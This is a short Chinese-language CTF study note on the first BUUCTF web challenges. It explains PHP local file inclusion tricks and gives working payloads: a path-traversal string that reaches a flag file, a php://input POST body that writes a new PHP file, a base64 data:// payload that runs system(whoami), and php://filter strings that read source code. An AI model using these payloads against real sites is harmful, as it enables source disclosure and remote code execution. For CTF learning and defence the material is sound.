buuctf WEB前四题知识点学习

buuctf WEB前四题知识点学习

第三题【极客大挑战 Have Fun】

在Linux系统的include后面第一次发现“/”,那么前面的内容自动失效,从这个之后开始包含。(../不算)

payload

/source.php?file=hint.php?/../../../../ffffllllaaaagggg

第四题【ACTF2020 新生赛 Include】

php://input

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:
        php < 5.0,allow_url_include=Off 情况下也可以用
        php > 5.0,只有在allow_url_fopen=On 时才能使用。

例:
         http://localhost/include/file.php?file=php://input     //URL
    <?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?>  //POST,创建一个文件a.php;并写入phpinfo

data://

将原来的include的文件流重定向到了用户可控制的输入流中

条件:
        allow_url_include=On
        php > 5.2

例:
       http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
    http://localhost/image.php?imagedata=data://image/jpeg;base64,….. // 后面加上图片木马;图片命令执行

php://filter

这个语句用来查看源码,直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过。

例:
        http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
                  //可以跟绝对路径也可以跟相对路径
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt        //远程路径

防御:
        尽量使用安全版本的php
        做好php的安全配置
        对相应目录做相应权限设置

payload

?file=php://filter/read=convert.base64-encode/resource=flag.php
                       

点击阅读全文

上一篇 2023年 5月 27日 am10:55
下一篇 2023年 5月 27日 am10:55